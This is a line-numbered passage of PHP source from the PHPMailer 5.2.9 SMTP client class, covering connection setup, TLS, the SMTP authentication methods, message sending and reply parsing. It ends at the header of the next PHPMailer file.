6827 * The PHPMailer SMTP Version number.
6828 * @type string
6829 * @deprecated Use the `VERSION` constant instead
6830 * @see SMTP::VERSION
6831 */
6832 public $Version = '5.2.9';
6833
6834 /**
6835 * SMTP server port number.
6836 * @type integer
6837 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
6838 * @see SMTP::DEFAULT_SMTP_PORT
6839 */
6840 public $SMTP_PORT = 25;
6841
6842 /**
6843 * SMTP reply line ending.
6844 * @type string
6845 * @deprecated Use the `CRLF` constant instead
6846 * @see SMTP::CRLF
6847 */
6848 public $CRLF = "\r\n";
6849
6850 /**
6851 * Debug output level.
6852 * Options:
6853 * * self::DEBUG_OFF (`0`) No debug output, default
6854 * * self::DEBUG_CLIENT (`1`) Client commands
6855 * * self::DEBUG_SERVER (`2`) Client commands and server responses
6856 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
6857 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
6858 * @type integer
6859 */
6860 public $do_debug = self::DEBUG_OFF;
6861
6862 /**
6863 * How to handle debug output.
6864 * Options:
6865 * * `echo` Output plain-text as-is, appropriate for CLI
6866 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
6867 * * `error_log` Output to error log as configured in php.ini
6868 *
6869 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
6870 * <code>
6871 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
6872 * </code>
6873 * @type string|callable
6874 */
6875 public $Debugoutput = 'echo';
6876
6877 /**
6878 * Whether to use VERP.
6879 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
6880 * @link http://www.postfix.org/VERP_README.html Info on VERP
6881 * @type boolean
6882 */
6883 public $do_verp = false;
6884
6885 /**
6886 * The timeout value for connection, in seconds.
6887 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6888 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
6889 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
6890 * @type integer
6891 */
6892 public $Timeout = 300;
6893
6894 /**
6895 * How long to wait for commands to complete, in seconds.
6896 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6897 * @type integer
6898 */
6899 public $Timelimit = 300;
6900
6901 /**
6902 * The socket for the server connection.
6903 * @type resource
6904 */
6905 protected $smtp_conn;
6906
6907 /**
6908 * Error message, if any, for the last call.
6909 * @type array
6910 */
6911 protected $error = array();
6912
6913 /**
6914 * The reply the server sent to us for HELO.
6915 * If null, no HELO string has yet been received.
6916 * @type string|null
6917 */
6918 protected $helo_rply = null;
6919
6920 /**
6921 * The set of SMTP extensions sent in reply to EHLO command.
6922 * Indexes of the array are extension names.
6923 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
6924 * represents the server name. In case of HELO it is the only element of the array.
6925 * Other values can be boolean TRUE or an array containing extension options.
6926 * If null, no HELO/EHLO string has yet been received.
6927 * @type array|null
6928 */
6929 protected $server_caps = null;
6930
6931 /**
6932 * The most recent reply received from the server.
6933 * @type string
6934 */
6935 protected $last_reply = '';
6936
6937 /**
6938 * Output debugging info via a user-selected method.
6939 * @see SMTP::$Debugoutput
6940 * @see SMTP::$do_debug
6941 * @param string $str Debug string to output
6942 * @param integer $level The debug level of this message; see DEBUG_* constants
6943 * @return void
6944 */
6945 protected function edebug($str, $level = 0)
6946 {
6947 if ($level > $this->do_debug) {
6948 return;
6949 }
6950 //Avoid clash with built-in function names
6951 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
6952 call_user_func($this->Debugoutput, $str, $this->do_debug);
6953 return;
6954 }
6955 switch ($this->Debugoutput) {
6956 case 'error_log':
6957 //Don't output, just log
6958 error_log($str);
6959 break;
6960 case 'html':
6961 //Cleans up output a bit for a better looking, HTML-safe output
6962 echo htmlentities(
6963 preg_replace('/[\r\n]+/', '', $str),
6964 ENT_QUOTES,
6965 'UTF-8'
6966 )
6967 . "<br>\n";
6968 break;
6969 case 'echo':
6970 default:
6971 //Normalize line breaks
6972 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
6973 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
6974 "\n",
6975 "\n \t ",
6976 trim($str)
6977 )."\n";
6978 }
6979 }
6980
6981 /**
6982 * Connect to an SMTP server.
6983 * @param string $host SMTP server IP or host name
6984 * @param integer $port The port number to connect to
6985 * @param integer $timeout How long to wait for the connection to open
6986 * @param array $options An array of options for stream_context_create()
6987 * @access public
6988 * @return boolean
6989 */
6990 public function connect($host, $port = null, $timeout = 30, $options = array())
6991 {
6992 static $streamok;
6993 //This is enabled by default since 5.0.0 but some providers disable it
6994 //Check this once and cache the result
6995 if (is_null($streamok)) {
6996 $streamok = function_exists('stream_socket_client');
6997 }
6998 // Clear errors to avoid confusion
6999 $this->error = array();
7000 // Make sure we are __not__ connected
7001 if ($this->connected()) {
7002 // Already connected, generate error
7003 $this->error = array('error' => 'Already connected to a server');
7004 return false;
7005 }
7006 if (empty($port)) {
7007 $port = self::DEFAULT_SMTP_PORT;
7008 }
7009 // Connect to the SMTP server
7010 $this->edebug(
7011 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
7012 self::DEBUG_CONNECTION
7013 );
7014 $errno = 0;
7015 $errstr = '';
7016 if ($streamok) {
7017 $socket_context = stream_context_create($options);
7018 //Suppress errors; connection failures are handled at a higher level
7019 $this->smtp_conn = @stream_socket_client(
7020 $host . ":" . $port,
7021 $errno,
7022 $errstr,
7023 $timeout,
7024 STREAM_CLIENT_CONNECT,
7025 $socket_context
7026 );
7027 } else {
7028 //Fall back to fsockopen which should work in more places, but is missing some features
7029 $this->edebug(
7030 "Connection: stream_socket_client not available, falling back to fsockopen",
7031 self::DEBUG_CONNECTION
7032 );
7033 $this->smtp_conn = fsockopen(
7034 $host,
7035 $port,
7036 $errno,
7037 $errstr,
7038 $timeout
7039 );
7040 }
7041 // Verify we connected properly
7042 if (!is_resource($this->smtp_conn)) {
7043 $this->error = array(
7044 'error' => 'Failed to connect to server',
7045 'errno' => $errno,
7046 'errstr' => $errstr
7047 );
7048 $this->edebug(
7049 'SMTP ERROR: ' . $this->error['error']
7050 . ": $errstr ($errno)",
7051 self::DEBUG_CLIENT
7052 );
7053 return false;
7054 }
7055 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
7056 // SMTP server can take longer to respond, give longer timeout for first read
7057 // Windows does not have support for this timeout function
7058 if (substr(PHP_OS, 0, 3) != 'WIN') {
7059 $max = ini_get('max_execution_time');
7060 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
7061 @set_time_limit($timeout);
7062 }
7063 stream_set_timeout($this->smtp_conn, $timeout, 0);
7064 }
7065 // Get any announcement
7066 $announce = $this->get_lines();
7067 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
7068 return true;
7069 }
7070
7071 /**
7072 * Initiate a TLS (encrypted) session.
7073 * @access public
7074 * @return boolean
7075 */
7076 public function startTLS()
7077 {
7078 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
7079 return false;
7080 }
7081 // Begin encrypted connection
7082 if (!stream_socket_enable_crypto(
7083 $this->smtp_conn,
7084 true,
7085 STREAM_CRYPTO_METHOD_TLS_CLIENT
7086 )) {
7087 return false;
7088 }
7089 return true;
7090 }
7091
7092 /**
7093 * Perform SMTP authentication.
7094 * Must be run after hello().
7095 * @see hello()
7096 * @param string $username The user name
7097 * @param string $password The password
7098 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
7099 * @param string $realm The auth realm for NTLM
7100 * @param string $workstation The auth workstation for NTLM
7101 * @access public
7102 * @return boolean True if successfully authenticated.
7103 */
7104 public function authenticate(
7105 $username,
7106 $password,
7107 $authtype = null,
7108 $realm = '',
7109 $workstation = ''
7110 ) {
7111 if (!$this->server_caps) {
7112 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
7113 return false;
7114 }
7115
7116 if (array_key_exists('EHLO', $this->server_caps)) {
7117 // SMTP extensions are available. Let's try to find a proper authentication method
7118
7119 if (!array_key_exists('AUTH', $this->server_caps)) {
7120 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
7121 // 'at this stage' means that auth may be allowed after the stage changes
7122 // e.g. after STARTTLS
7123 return false;
7124 }
7125
7126 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
7127 self::edebug(
7128 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
7129 self::DEBUG_LOWLEVEL
7130 );
7131
7132 if (empty($authtype)) {
7133 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
7134 if (in_array($method, $this->server_caps['AUTH'])) {
7135 $authtype = $method;
7136 break;
7137 }
7138 }
7139 if (empty($authtype)) {
7140 $this->error = array( 'error' => 'No supported authentication methods found' );
7141 return false;
7142 }
7143 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
7144 }
7145
7146 if (!in_array($authtype, $this->server_caps['AUTH'])) {
7147 $this->error = array( 'error' => 'The requested authentication method "'
7148 . $authtype . '" is not supported by the server' );
7149 return false;
7150 }
7151 } elseif (empty($authtype)) {
7152 $authtype = 'LOGIN';
7153 }
7154 switch ($authtype) {
7155 case 'PLAIN':
7156 // Start authentication
7157 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
7158 return false;
7159 }
7160 // Send encoded username and password
7161 if (!$this->sendCommand(
7162 'User & Password',
7163 base64_encode("\0" . $username . "\0" . $password),
7164 235
7165 )
7166 ) {
7167 return false;
7168 }
7169 break;
7170 case 'LOGIN':
7171 // Start authentication
7172 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
7173 return false;
7174 }
7175 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
7176 return false;
7177 }
7178 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
7179 return false;
7180 }
7181 break;
7182 case 'NTLM':
7183 /*
7184 * ntlm_sasl_client.php
7185 * Bundled with Permission
7186 *
7187 * How to telnet in windows:
7188 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
7189 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
7190 */
7191 require_once 'extras/ntlm_sasl_client.php';
7192 $temp = new stdClass();
7193 $ntlm_client = new ntlm_sasl_client_class;
7194 //Check that functions are available
7195 if (!$ntlm_client->Initialize($temp)) {
7196 $this->error = array('error' => $temp->error);
7197 $this->edebug(
7198 'You need to enable some modules in your php.ini file: '
7199 . $this->error['error'],
7200 self::DEBUG_CLIENT
7201 );
7202 return false;
7203 }
7204 //msg1
7205 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
7206
7207 if (!$this->sendCommand(
7208 'AUTH NTLM',
7209 'AUTH NTLM ' . base64_encode($msg1),
7210 334
7211 )
7212 ) {
7213 return false;
7214 }
7215 //Though 0 based, there is a white space after the 3 digit number
7216 //msg2
7217 $challenge = substr($this->last_reply, 3);
7218 $challenge = base64_decode($challenge);
7219 $ntlm_res = $ntlm_client->NTLMResponse(
7220 substr($challenge, 24, 8),
7221 $password
7222 );
7223 //msg3
7224 $msg3 = $ntlm_client->TypeMsg3(
7225 $ntlm_res,
7226 $username,
7227 $realm,
7228 $workstation
7229 );
7230 // send encoded username
7231 return $this->sendCommand('Username', base64_encode($msg3), 235);
7232 case 'CRAM-MD5':
7233 // Start authentication
7234 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
7235 return false;
7236 }
7237 // Get the challenge
7238 $challenge = base64_decode(substr($this->last_reply, 4));
7239
7240 // Build the response
7241 $response = $username . ' ' . $this->hmac($challenge, $password);
7242
7243 // send encoded credentials
7244 return $this->sendCommand('Username', base64_encode($response), 235);
7245 default:
7246 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
7247 return false;
7248 }
7249 return true;
7250 }
7251
7252 /**
7253 * Calculate an MD5 HMAC hash.
7254 * Works like hash_hmac('md5', $data, $key)
7255 * in case that function is not available
7256 * @param string $data The data to hash
7257 * @param string $key The key to hash with
7258 * @access protected
7259 * @return string
7260 */
7261 protected function hmac($data, $key)
7262 {
7263 if (function_exists('hash_hmac')) {
7264 return hash_hmac('md5', $data, $key);
7265 }
7266
7267 // The following borrowed from
7268 // http://php.net/manual/en/function.mhash.php#27225
7269
7270 // RFC 2104 HMAC implementation for php.
7271 // Creates an md5 HMAC.
7272 // Eliminates the need to install mhash to compute a HMAC
7273 // by Lance Rushing
7274
7275 $bytelen = 64; // byte length for md5
7276 if (strlen($key) > $bytelen) {
7277 $key = pack('H*', md5($key));
7278 }
7279 $key = str_pad($key, $bytelen, chr(0x00));
7280 $ipad = str_pad('', $bytelen, chr(0x36));
7281 $opad = str_pad('', $bytelen, chr(0x5c));
7282 $k_ipad = $key ^ $ipad;
7283 $k_opad = $key ^ $opad;
7284
7285 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
7286 }
7287
7288 /**
7289 * Check connection state.
7290 * @access public
7291 * @return boolean True if connected.
7292 */
7293 public function connected()
7294 {
7295 if (is_resource($this->smtp_conn)) {
7296 $sock_status = stream_get_meta_data($this->smtp_conn);
7297 if ($sock_status['eof']) {
7298 // The socket is valid but we are not connected
7299 $this->edebug(
7300 'SMTP NOTICE: EOF caught while checking if connected',
7301 self::DEBUG_CLIENT
7302 );
7303 $this->close();
7304 return false;
7305 }
7306 return true; // everything looks good
7307 }
7308 return false;
7309 }
7310
7311 /**
7312 * Close the socket and clean up the state of the class.
7313 * Don't use this function without first trying to use QUIT.
7314 * @see quit()
7315 * @access public
7316 * @return void
7317 */
7318 public function close()
7319 {
7320 $this->error = array();
7321 $this->server_caps = null;
7322 $this->helo_rply = null;
7323 if (is_resource($this->smtp_conn)) {
7324 // close the connection and cleanup
7325 fclose($this->smtp_conn);
7326 $this->smtp_conn = null; //Makes for cleaner serialization
7327 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
7328 }
7329 }
7330
7331 /**
7332 * Send an SMTP DATA command.
7333 * Issues a data command and sends the msg_data to the server,
7334 * finializing the mail transaction. $msg_data is the message
7335 * that is to be send with the headers. Each header needs to be
7336 * on a single line followed by a <CRLF> with the message headers
7337 * and the message body being separated by and additional <CRLF>.
7338 * Implements rfc 821: DATA <CRLF>
7339 * @param string $msg_data Message data to send
7340 * @access public
7341 * @return boolean
7342 */
7343 public function data($msg_data)
7344 {
7345 //This will use the standard timelimit
7346 if (!$this->sendCommand('DATA', 'DATA', 354)) {
7347 return false;
7348 }
7349
7350 /* The server is ready to accept data!
7351 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
7352 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
7353 * smaller lines to fit within the limit.
7354 * We will also look for lines that start with a '.' and prepend an additional '.'.
7355 * NOTE: this does not count towards line-length limit.
7356 */
7357
7358 // Normalize line breaks before exploding
7359 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
7360
7361 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
7362 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
7363 * process all lines before a blank line as headers.
7364 */
7365
7366 $field = substr($lines[0], 0, strpos($lines[0], ':'));
7367 $in_headers = false;
7368 if (!empty($field) && strpos($field, ' ') === false) {
7369 $in_headers = true;
7370 }
7371
7372 foreach ($lines as $line) {
7373 $lines_out = array();
7374 if ($in_headers and $line == '') {
7375 $in_headers = false;
7376 }
7377 //We need to break this line up into several smaller lines
7378 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
7379 while (isset($line[self::MAX_LINE_LENGTH])) {
7380 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
7381 //so as to avoid breaking in the middle of a word
7382 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
7383 if (!$pos) { //Deliberately matches both false and 0
7384 //No nice break found, add a hard break
7385 $pos = self::MAX_LINE_LENGTH - 1;
7386 $lines_out[] = substr($line, 0, $pos);
7387 $line = substr($line, $pos);
7388 } else {
7389 //Break at the found point
7390 $lines_out[] = substr($line, 0, $pos);
7391 //Move along by the amount we dealt with
7392 $line = substr($line, $pos + 1);
7393 }
7394 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
7395 if ($in_headers) {
7396 $line = "\t" . $line;
7397 }
7398 }
7399 $lines_out[] = $line;
7400
7401 //Send the lines to the server
7402 foreach ($lines_out as $line_out) {
7403 //RFC2821 section 4.5.2
7404 if (!empty($line_out) and $line_out[0] == '.') {
7405 $line_out = '.' . $line_out;
7406 }
7407 $this->client_send($line_out . self::CRLF);
7408 }
7409 }
7410
7411 //Message data has been sent, complete the command
7412 //Increase timelimit for end of DATA command
7413 $savetimelimit = $this->Timelimit;
7414 $this->Timelimit = $this->Timelimit * 2;
7415 $result = $this->sendCommand('DATA END', '.', 250);
7416 //Restore timelimit
7417 $this->Timelimit = $savetimelimit;
7418 return $result;
7419 }
7420
7421 /**
7422 * Send an SMTP HELO or EHLO command.
7423 * Used to identify the sending server to the receiving server.
7424 * This makes sure that client and server are in a known state.
7425 * Implements RFC 821: HELO <SP> <domain> <CRLF>
7426 * and RFC 2821 EHLO.
7427 * @param string $host The host name or IP to connect to
7428 * @access public
7429 * @return boolean
7430 */
7431 public function hello($host = '')
7432 {
7433 //Try extended hello first (RFC 2821)
7434 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
7435 }
7436
7437 /**
7438 * Send an SMTP HELO or EHLO command.
7439 * Low-level implementation used by hello()
7440 * @see hello()
7441 * @param string $hello The HELO string
7442 * @param string $host The hostname to say we are
7443 * @access protected
7444 * @return boolean
7445 */
7446 protected function sendHello($hello, $host)
7447 {
7448 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
7449 $this->helo_rply = $this->last_reply;
7450 if ($noerror) {
7451 $this->parseHelloFields($hello);
7452 } else {
7453 $this->server_caps = null;
7454 }
7455 return $noerror;
7456 }
7457
7458 /**
7459 * Parse a reply to HELO/EHLO command to discover server extensions.
7460 * In case of HELO, the only parameter that can be discovered is a server name.
7461 * @access protected
7462 * @param string $type - 'HELO' or 'EHLO'
7463 */
7464 protected function parseHelloFields($type)
7465 {
7466 $this->server_caps = array();
7467 $lines = explode("\n", $this->last_reply);
7468 foreach ($lines as $n => $s) {
7469 $s = trim(substr($s, 4));
7470 if (!$s) {
7471 continue;
7472 }
7473 $fields = explode(' ', $s);
7474 if ($fields) {
7475 if (!$n) {
7476 $name = $type;
7477 $fields = $fields[0];
7478 } else {
7479 $name = array_shift($fields);
7480 if ($name == 'SIZE') {
7481 $fields = ($fields) ? $fields[0] : 0;
7482 }
7483 }
7484 $this->server_caps[$name] = ($fields ? $fields : true);
7485 }
7486 }
7487 }
7488
7489 /**
7490 * Send an SMTP MAIL command.
7491 * Starts a mail transaction from the email address specified in
7492 * $from. Returns true if successful or false otherwise. If True
7493 * the mail transaction is started and then one or more recipient
7494 * commands may be called followed by a data command.
7495 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
7496 * @param string $from Source address of this message
7497 * @access public
7498 * @return boolean
7499 */
7500 public function mail($from)
7501 {
7502 $useVerp = ($this->do_verp ? ' XVERP' : '');
7503 return $this->sendCommand(
7504 'MAIL FROM',
7505 'MAIL FROM:<' . $from . '>' . $useVerp,
7506 250
7507 );
7508 }
7509
7510 /**
7511 * Send an SMTP QUIT command.
7512 * Closes the socket if there is no error or the $close_on_error argument is true.
7513 * Implements from rfc 821: QUIT <CRLF>
7514 * @param boolean $close_on_error Should the connection close if an error occurs?
7515 * @access public
7516 * @return boolean
7517 */
7518 public function quit($close_on_error = true)
7519 {
7520 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
7521 $err = $this->error; //Save any error
7522 if ($noerror or $close_on_error) {
7523 $this->close();
7524 $this->error = $err; //Restore any error from the quit command
7525 }
7526 return $noerror;
7527 }
7528
7529 /**
7530 * Send an SMTP RCPT command.
7531 * Sets the TO argument to $toaddr.
7532 * Returns true if the recipient was accepted false if it was rejected.
7533 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
7534 * @param string $toaddr The address the message is being sent to
7535 * @access public
7536 * @return boolean
7537 */
7538 public function recipient($toaddr)
7539 {
7540 return $this->sendCommand(
7541 'RCPT TO',
7542 'RCPT TO:<' . $toaddr . '>',
7543 array(250, 251)
7544 );
7545 }
7546
7547 /**
7548 * Send an SMTP RSET command.
7549 * Abort any transaction that is currently in progress.
7550 * Implements rfc 821: RSET <CRLF>
7551 * @access public
7552 * @return boolean True on success.
7553 */
7554 public function reset()
7555 {
7556 return $this->sendCommand('RSET', 'RSET', 250);
7557 }
7558
7559 /**
7560 * Send a command to an SMTP server and check its return code.
7561 * @param string $command The command name - not sent to the server
7562 * @param string $commandstring The actual command to send
7563 * @param integer|array $expect One or more expected integer success codes
7564 * @access protected
7565 * @return boolean True on success.
7566 */
7567 protected function sendCommand($command, $commandstring, $expect)
7568 {
7569 if (!$this->connected()) {
7570 $this->error = array(
7571 'error' => "Called $command without being connected"
7572 );
7573 return false;
7574 }
7575 $this->client_send($commandstring . self::CRLF);
7576
7577 $this->last_reply = $this->get_lines();
7578 // Fetch SMTP code and possible error code explanation
7579 $matches = array();
7580 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
7581 $code = $matches[1];
7582 $code_ex = (count($matches) > 2 ? $matches[2] : null);
7583 // Cut off error code from each response line
7584 $detail = preg_replace(
7585 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
7586 '',
7587 $this->last_reply
7588 );
7589 } else { // Fall back to simple parsing if regex fails
7590 $code = substr($this->last_reply, 0, 3);
7591 $code_ex = null;
7592 $detail = substr($this->last_reply, 4);
7593 }
7594
7595 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
7596
7597 if (!in_array($code, (array)$expect)) {
7598 $this->error = array(
7599 'error' => "$command command failed",
7600 'smtp_code' => $code,
7601 'smtp_code_ex' => $code_ex,
7602 'detail' => $detail
7603 );
7604 $this->edebug(
7605 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
7606 self::DEBUG_CLIENT
7607 );
7608 return false;
7609 }
7610
7611 $this->error = array();
7612 return true;
7613 }
7614
7615 /**
7616 * Send an SMTP SAML command.
7617 * Starts a mail transaction from the email address specified in $from.
7618 * Returns true if successful or false otherwise. If True
7619 * the mail transaction is started and then one or more recipient
7620 * commands may be called followed by a data command. This command
7621 * will send the message to the users terminal if they are logged
7622 * in and send them an email.
7623 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
7624 * @param string $from The address the message is from
7625 * @access public
7626 * @return boolean
7627 */
7628 public function sendAndMail($from)
7629 {
7630 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
7631 }
7632
7633 /**
7634 * Send an SMTP VRFY command.
7635 * @param string $name The name to verify
7636 * @access public
7637 * @return boolean
7638 */
7639 public function verify($name)
7640 {
7641 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
7642 }
7643
7644 /**
7645 * Send an SMTP NOOP command.
7646 * Used to keep keep-alives alive, doesn't actually do anything
7647 * @access public
7648 * @return boolean
7649 */
7650 public function noop()
7651 {
7652 return $this->sendCommand('NOOP', 'NOOP', 250);
7653 }
7654
7655 /**
7656 * Send an SMTP TURN command.
7657 * This is an optional command for SMTP that this class does not support.
7658 * This method is here to make the RFC821 Definition complete for this class
7659 * and _may_ be implemented in future
7660 * Implements from rfc 821: TURN <CRLF>
7661 * @access public
7662 * @return boolean
7663 */
7664 public function turn()
7665 {
7666 $this->error = array(
7667 'error' => 'The SMTP TURN command is not implemented'
7668 );
7669 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
7670 return false;
7671 }
7672
7673 /**
7674 * Send raw data to the server.
7675 * @param string $data The data to send
7676 * @access public
7677 * @return integer|boolean The number of bytes sent to the server or false on error
7678 */
7679 public function client_send($data)
7680 {
7681 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
7682 return fwrite($this->smtp_conn, $data);
7683 }
7684
7685 /**
7686 * Get the latest error.
7687 * @access public
7688 * @return array
7689 */
7690 public function getError()
7691 {
7692 return $this->error;
7693 }
7694
7695 /**
7696 * Get SMTP extensions available on the server
7697 * @access public
7698 * @return array|null
7699 */
7700 public function getServerExtList()
7701 {
7702 return $this->server_caps;
7703 }
7704
7705 /**
7706 * A multipurpose method
7707 * The method works in three ways, dependent on argument value and current state
7708 * 1. HELO/EHLO was not sent - returns null and set up $this->error
7709 * 2. HELO was sent
7710 * $name = 'HELO': returns server name
7711 * $name = 'EHLO': returns boolean false
7712 * $name = any string: returns null and set up $this->error
7713 * 3. EHLO was sent
7714 * $name = 'HELO'|'EHLO': returns server name
7715 * $name = any string: if extension $name exists, returns boolean True
7716 * or its options. Otherwise returns boolean False
7717 * In other words, one can use this method to detect 3 conditions:
7718 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
7719 * - false returned: the requested feature exactly not exists
7720 * - positive value returned: the requested feature exists
7721 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
7722 * @return mixed
7723 */
7724 public function getServerExt($name)
7725 {
7726 if (!$this->server_caps) {
7727 $this->error = array('No HELO/EHLO was sent');
7728 return null;
7729 }
7730
7731 // the tight logic knot ;)
7732 if (!array_key_exists($name, $this->server_caps)) {
7733 if ($name == 'HELO') {
7734 return $this->server_caps['EHLO'];
7735 }
7736 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
7737 return false;
7738 }
7739 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
7740 return null;
7741 }
7742
7743 return $this->server_caps[$name];
7744 }
7745
7746 /**
7747 * Get the last reply from the server.
7748 * @access public
7749 * @return string
7750 */
7751 public function getLastReply()
7752 {
7753 return $this->last_reply;
7754 }
7755
7756 /**
7757 * Read the SMTP server's response.
7758 * Either before eof or socket timeout occurs on the operation.
7759 * With SMTP we can tell if we have more lines to read if the
7760 * 4th character is '-' symbol. If it is a space then we don't
7761 * need to read anything else.
7762 * @access protected
7763 * @return string
7764 */
7765 protected function get_lines()
7766 {
7767 // If the connection is bad, give up straight away
7768 if (!is_resource($this->smtp_conn)) {
7769 return '';
7770 }
7771 $data = '';
7772 $endtime = 0;
7773 stream_set_timeout($this->smtp_conn, $this->Timeout);
7774 if ($this->Timelimit > 0) {
7775 $endtime = time() + $this->Timelimit;
7776 }
7777 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
7778 $str = @fgets($this->smtp_conn, 515);
7779 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
7780 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
7781 $data .= $str;
7782 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
7783 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
7784 if ((isset($str[3]) and $str[3] == ' ')) {
7785 break;
7786 }
7787 // Timed-out? Log and break
7788 $info = stream_get_meta_data($this->smtp_conn);
7789 if ($info['timed_out']) {
7790 $this->edebug(
7791 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
7792 self::DEBUG_LOWLEVEL
7793 );
7794 break;
7795 }
7796 // Now check if reads took too long
7797 if ($endtime and time() > $endtime) {
7798 $this->edebug(
7799 'SMTP -> get_lines(): timelimit reached ('.
7800 $this->Timelimit . ' sec)',
7801 self::DEBUG_LOWLEVEL
7802 );
7803 break;
7804 }
7805 }
7806 return $data;
7807 }
7808
7809 /**
7810 * Enable or disable VERP address generation.
7811 * @param boolean $enabled
7812 */
7813 public function setVerp($enabled = false)
7814 {
7815 $this->do_verp = $enabled;
7816 }
7817
7818 /**
7819 * Get VERP address generation mode.
7820 * @return boolean
7821 */
7822 public function getVerp()
7823 {
7824 return $this->do_verp;
7825 }
7826
7827 /**
7828 * Set debug output method.
7829 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
7830 */
7831 public function setDebugOutput($method = 'echo')
7832 {
7833 $this->Debugoutput = $method;
7834 }
7835
7836 /**
7837 * Get debug output method.
7838 * @return string
7839 */
7840 public function getDebugOutput()
7841 {
7842 return $this->Debugoutput;
7843 }
7844
7845 /**
7846 * Set debug output level.
7847 * @param integer $level
7848 */
7849 public function setDebugLevel($level = 0)
7850 {
7851 $this->do_debug = $level;
7852 }
7853
7854 /**
7855 * Get debug output level.
7856 * @return integer
7857 */
7858 public function getDebugLevel()
7859 {
7860 return $this->do_debug;
7861 }
7862
7863 /**
7864 * Set SMTP timeout.
7865 * @param integer $timeout
7866 */
7867 public function setTimeout($timeout = 0)
7868 {
7869 $this->Timeout = $timeout;
7870 }
7871
7872 /**
7873 * Get SMTP timeout.
7874 * @return integer
7875 */
7876 public function getTimeout()
7877 {
7878 return $this->Timeout;
7879 }
7880}
7881
7882?>
7883<?php
7884/**
7885 * PHPMailer - PHP email creation and transport class.
7886 * PHP Version 5
7887 * @package PHPMailer
7888 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
7889 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7890 * @author Jim Jagielski (jimjag) <m>
